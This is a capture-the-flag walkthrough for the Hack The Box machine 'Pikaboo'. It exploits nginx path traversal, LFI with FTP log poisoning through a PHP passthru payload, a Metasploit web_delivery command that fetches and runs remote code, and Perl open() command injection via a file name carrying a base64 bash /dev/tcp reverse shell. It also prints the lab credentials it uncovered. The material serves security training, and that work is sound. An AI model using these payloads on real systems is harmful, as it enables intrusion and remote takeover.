Enum

nmap

# Nmap 7.92 scan initiated Thu Sep  2 15:51:06 2021 as: nmap -sCV -p21,22,80 -oN scans/nmap 10.10.10.249
Nmap scan report for 10.10.10.249
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
|   256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_  256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Pikaboo
|_http-server-header: nginx/1.14.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep  2 15:51:16 2021 -- 1 IP address (1 host up) scanned in 9.85 seconds

Begin with ftp

$ ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:root): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed.

We begin browsing the webpage.

We discover /pokeapi.php with id parameter and begin fuzzing that for LFI

The LFI does not yield any results. The server running on the backend is nginx. Nginx can sometimes due to misconfigurations be vulnerable to path traversal

We can confirm this by trying GET /admin../../index.php

We run a gobuster agains http://10.10.10.249/admin../

server-status returns 200.

If we browse this page in burp we can observe

<td nowrap>GET /admin_staging HTTP/1.1</td></tr>

We further fuzz admin../admin_staging/

/user.php             (Status: 200) [Size: 9629]
/docs                 (Status: 301) [Size: 322] [--> http://127.0.0.1:81/admin_staging/docs/]
/assets               (Status: 301) [Size: 324] [--> http://127.0.0.1:81/admin_staging/assets/]
/info.php             (Status: 200) [Size: 71402]
/index.php            (Status: 200) [Size: 40555]
/dashboard.php        (Status: 200) [Size: 25206]
/tables.php           (Status: 200) [Size: 13782]

If go we to index.php and go to a different page, we notice it includes the php file.

If we fuzz this with Burp Intruder we noticed results on /var/log/vsftpd.log

Looks like we could perform a log poisoning attack.

We login with towards ftp to poison the logs and to make index.php execute php code

$ ftp 10.10.10.249

Connected to 10.10.10.249.

220 (vsFTPd 3.0.3)

Name (10.10.10.249:root): '<?php passthru($_GET["c"]); ?>'

331 Please specify the password.

Password: 

530 Login incorrect.

ftp: Login failed.

Next prepare a listiner in Metasploit.

msf6 exploit(multi/script/web_delivery) > run



[-] Exploit failed: python/meterpreter/reverse_tcp is not a compatible payload.

[*] Exploit completed, but no session was created.

msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp

payload => php/meterpreter/reverse_tcp

msf6 exploit(multi/script/web_delivery) > run

[*] Exploit running as background job 0.

[*] Exploit completed, but no session was created.



[*] Started reverse TCP handler on 10.10.16.65:4444 

msf6 exploit(multi/script/web_delivery) > [-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:8080).

Interrupt: use the 'exit' command to quit

msf6 exploit(multi/script/web_delivery) > set srvport 8008

srvport => 8008

msf6 exploit(multi/script/web_delivery) > run

[*] Exploit running as background job 1.

[*] Exploit completed, but no session was created.



[*] Started reverse TCP handler on 10.10.16.65:4444 

[*] Using URL: http://0.0.0.0:8008/vM6YEGGy

[*] Local IP: http://10.0.2.15:8008/vM6YEGGy

msf6 exploit(multi/script/web_delivery) > [*] Server started.

[*] Run the following command on the target machine:

php -d allow_url_fopen=true -r "eval(file_get_contents('http://10.10.16.65:8008/vM6YEGGy', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

[*] 10.10.10.249     web_delivery - Delivering Payload (1112 bytes)

[*] Sending stage (39282 bytes) to 10.10.10.249

[*] Meterpreter session 1 opened (10.10.16.65:4444 -> 10.10.10.249:57056) at 2021-09-02 17:04:18 +0200


Once we get the initial shell as www-data, we are able to read the user flag

Running linpeas we observe a cronjob being run as root which seems like that path to root.

* * * * * root /usr/local/bin/csvupdate_cron

If we look at the file

www-data@pikaboo:/home/pwnmeow$ cat /usr/local/bin/csvupdate_cron                 

#!/bin/bash

for d in /srv/ftp/*

do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done

csvupdate is a perl script which looks like this

`#!/usr/bin/perl  
  
##################################################################  
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #  
#                                                                #  
# Usage:                                                        #  
# ./csvupdate <type> <file(s)>                                  #  
#                                                                #  
# Arguments:                                                    #  
# - type: PokeAPI CSV file type                                  #  
#        (must have the correct number of fields)              #  
# - file(s): list of files containing CSV data                  #  
##################################################################  
  
use strict;  
use warnings;  
use Text::CSV;  
  
my $csv_dir = "/opt/pokeapi/data/v2/csv";  
  
my %csv_fields = (  
  'abilities' => 4,  
  'ability_changelog' => 3,  
  'ability_changelog_prose' => 3,  
  'ability_flavor_text' => 4,  
  'ability_names' => 3,  
  'ability_prose' => 4,  
  'berries' => 10,  
  'berry_firmness' => 2,  
  'berry_firmness_names' => 3,  
  'berry_flavors' => 3,  
  'characteristics' => 3,  
  'characteristic_text' => 3,  
  'conquest_episode_names' => 3,  
  'conquest_episodes' => 2,  
  'conquest_episode_warriors' => 2,  
  'conquest_kingdom_names' => 3,  
  'conquest_kingdoms' => 3,  
  'conquest_max_links' => 3,  
  'conquest_move_data' => 7,  
  'conquest_move_displacement_prose' => 5,  
  'conquest_move_displacements' => 3,  
  'conquest_move_effect_prose' => 4,  
  'conquest_move_effects' => 1,  
  'conquest_move_range_prose' => 4,  
  'conquest_move_ranges' => 3,  
  'conquest_pokemon_abilities' => 3,  
  'conquest_pokemon_evolution' => 8,  
  'conquest_pokemon_moves' => 2,  
  'conquest_pokemon_stats' => 3,  
  'conquest_stat_names' => 3,  
  'conquest_stats' => 3,  
  'conquest_transformation_pokemon' => 2,  
  'conquest_transformation_warriors' => 2,  
  'conquest_warrior_archetypes' => 2,  
  'conquest_warrior_names' => 3,  
  'conquest_warrior_ranks' => 4,  
  'conquest_warrior_rank_stat_map' => 3,  
  'conquest_warriors' => 4,  
  'conquest_warrior_skill_names' => 3,  
  'conquest_warrior_skills' => 2,  
  'conquest_warrior_specialties' => 3,  
  'conquest_warrior_stat_names' => 3,  
  'conquest_warrior_stats' => 2,  
  'conquest_warrior_transformation' => 10,  
  'contest_combos' => 2,  
  'contest_effect_prose' => 4,  
  'contest_effects' => 3,  
  'contest_type_names' => 5,  
  'contest_types' => 2,  
  'egg_group_prose' => 3,  
  'egg_groups' => 2,  
  'encounter_condition_prose' => 3,  
  'encounter_conditions' => 2,  
  'encounter_condition_value_map' => 2,  
  'encounter_condition_value_prose' => 3,  
  'encounter_condition_values' => 4,  
  'encounter_method_prose' => 3,  
  'encounter_methods' => 3,  
  'encounters' => 7,  
  'encounter_slots' => 5,  
  'evolution_chains' => 2,  
  'evolution_trigger_prose' => 3,  
  'evolution_triggers' => 2,  
  'experience' => 3,  
  'genders' => 2,  
  'generation_names' => 3,  
  'generations' => 3,  
  'growth_rate_prose' => 3,  
  'growth_rates' => 3,  
  'item_categories' => 3,  
  'item_category_prose' => 3,  
  'item_flag_map' => 2,  
  'item_flag_prose' => 4,  
  'item_flags' => 2,  
  'item_flavor_summaries' => 3,  
  'item_flavor_text' => 4,  
  'item_fling_effect_prose' => 3,  
  'item_fling_effects' => 2,  
  'item_game_indices' => 3,  
  'item_names' => 3,  
  'item_pocket_names' => 3,  
  'item_pockets' => 2,  
  'item_prose' => 4,  
  'items' => 6,  
  'language_names' => 3,  
  'languages' => 6,  
  'location_area_encounter_rates' => 4,  
  'location_area_prose' => 3,  
  'location_areas' => 4,  
  'location_game_indices' => 3,  
  'location_names' => 4,  
  'locations' => 3,  
  'machines' => 4,  
  'move_battle_style_prose' => 3,  
  'move_battle_styles' => 2,  
  'move_changelog' => 10,  
  'move_damage_classes' => 2,  
  'move_damage_class_prose' => 4,  
  'move_effect_changelog' => 3,  
  'move_effect_changelog_prose' => 3,  
  'move_effect_prose' => 4,  
  'move_effects' => 1,  
  'move_flag_map' => 2,  
  'move_flag_prose' => 4,  
  'move_flags' => 2,  
  'move_flavor_summaries' => 3,  
  'move_flavor_text' => 4,  
  'move_meta_ailment_names' => 3,  
  'move_meta_ailments' => 2,  
  'move_meta_categories' => 2,  
  'move_meta_category_prose' => 3,  
  'move_meta' => 13,  
  'move_meta_stat_changes' => 3,  
  'move_names' => 3,  
  'moves' => 15,  
  'move_target_prose' => 4,  
  'move_targets' => 2,  
  'nature_battle_style_preferences' => 4,  
  'nature_names' => 3,  
  'nature_pokeathlon_stats' => 3,  
  'natures' => 7,  
  'pal_park_area_names' => 3,  
  'pal_park_areas' => 2,  
  'pal_park' => 4,  
  'pokeathlon_stat_names' => 3,  
  'pokeathlon_stats' => 2,  
  'pokedexes' => 4,  
  'pokedex_prose' => 4,  
  'pokedex_version_groups' => 2,  
  'pokemon_abilities' => 4,  
  'pokemon_color_names' => 3,  
  'pokemon_colors' => 2,  
  'pokemon' => 8,  
  'pokemon_dex_numbers' => 3,  
  'pokemon_egg_groups' => 2,  
  'pokemon_evolution' => 20,  
  'pokemon_form_generations' => 3,  
  'pokemon_form_names' => 4,  
  'pokemon_form_pokeathlon_stats' => 5,  
  'pokemon_forms' => 10,  
  'pokemon_form_types' => 3,  
  'pokemon_game_indices' => 3,  
  'pokemon_habitat_names' => 3,  
  'pokemon_habitats' => 2,  
  'pokemon_items' => 4,  
  'pokemon_move_method_prose' => 4,  
  'pokemon_move_methods' => 2,  
  'pokemon_moves' => 6,  
  'pokemon_shape_prose' => 5,  
  'pokemon_shapes' => 2,  
  'pokemon_species' => 20,  
  'pokemon_species_flavor_summaries' => 3,  
  'pokemon_species_flavor_text' => 4,  
  'pokemon_species_names' => 4,  
  'pokemon_species_prose' => 3,  
  'pokemon_stats' => 4,  
  'pokemon_types' => 3,  
  'pokemon_types_past' => 4,  
  'region_names' => 3,  
  'regions' => 2,  
  'stat_names' => 3,  
  'stats' => 5,  
  'super_contest_combos' => 2,  
  'super_contest_effect_prose' => 3,  
  'super_contest_effects' => 2,  
  'type_efficacy' => 3,  
  'type_game_indices' => 3,  
  'type_names' => 3,  
  'types' => 4,  
  'version_group_pokemon_move_methods' => 2,  
  'version_group_regions' => 2,  
  'version_groups' => 4,  
  'version_names' => 3,  
  'versions' => 3  
);  
  
  
if($#ARGV < 1)  
{  
  die "Usage: $0 <type> <file(s)>\n";  
}  
  
my $type = $ARGV[0];  
if(!exists $csv_fields{$type})  
{  
  die "Unrecognised CSV data type: $type.\n";  
}  
  
my $csv = Text::CSV->new({ sep_char => ',' });  
  
my $fname = "${csv_dir}/${type}.csv";  
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";  
  
shift;  
for(<>)  
{  
  chomp;  
  if($csv->parse($_))  
  {  
    my @fields = $csv->fields();  
    if(@fields != $csv_fields{$type})  
    {  
      warn "Incorrect number of fields: '$_'\n";  
      next;  
    }  
    print $fh "$_\n";  
  }  
}  
  
close($fh);`

If we search for command injection in perl, we find 2 interesting sites. https://stackoverflow.com/questions/26614348/perl-open-injection-prevention https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88890543

We observe that the perl script has the open function, so it is likely vulnerable to this exploit.

The first thing we need to do is to be able to write files to

my $csv_dir = "/opt/pokeapi/data/v2/csv"; 

If we search in /opt/pokeapi

grep -iR passw

.github/workflows/docker-image.yml:          password: ${{ secrets.DOCKERHUB_TOKEN_NARAMSIM }}

Resources/compose/docker-compose-prod-graphql.yml:      POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}"

Resources/compose/docker-compose-prod-graphql.yml:      HASURA_GRAPHQL_DATABASE_URL: "postgres://${POSTGRES_USER}:${POSTGRES_PASSWORD}@db:5432/${POSTGRES_DB:-pokeapi}"

Resources/compose/docker-compose-prod-graphql.yml:    command: sh -c 'cp -a /app/static/. /transfer/ && tail -f /etc/passwd'

Resources/docker/app/README.md:This container connects to a Postgres database via the environment variables `POSTGRES_DB`, `POSTGRES_USER`, `POSTGRES_PASSWORD`, `POSTGRES_HOST`, `POSTGRES_PORT`.

docker-compose.yml:      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-pokemon}

docker-compose.yml:      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-pokemon}

docker-compose.yml:      HASURA_GRAPHQL_DATABASE_URL: postgres://${POSTGRES_USER:-ash}:${POSTGRES_PASSWORD:-pokemon}@db:5432/${POSTGRES_DB:-pokeapi}

config/docker.py:        "PASSWORD": "pokemon",

config/settings.py:        "PASSWORD": "J~42%W?PFHl]g",

config/docker-compose.py:        "PASSWORD": os.environ.get("POSTGRES_PASSWORD", "pokemon"),

www-data@pikaboo:/opt/pokeapi$ 

from settings.py

DATABASES = {

    "ldap": {

        "ENGINE": "ldapdb.backends.ldap",

        "NAME": "ldap:///",

        "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",

        "PASSWORD": "J~42%W?PFHl]g",

    }

We can dump ldap with these creds running

ldapsearch -x -h localhost -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w "J~42%W?PFHl]g" -b "dc=pikaboo,dc=htb"

Looking at the dump we observe these credentials

# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==

decoding this we obtain the password for pwnmeow pwnmeow:_G0tT4_C4tcH_'3m_4lL!_

These credentials do not work over ssh, they do however work over ftp.

We authenticate over ftp and check our the files

This looks like the /opt/pokeapi/data/v2/csv.

We upload the file with ftp

ftp> put

(local-file) asd

(remote-file) | echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42NS85MDAxIDA+JjEK' | base64 -d | bash #csv

200 PORT command successful. Consider using PASV.

150 Ok to send data.

226 Transfer complete.

7 bytes sent in 1.6e-05 seconds (427 kbytes/s
$ rlwrap nc -nvlp 9001                                                                                                                                                                                                                        

Connection from 10.10.10.249:58356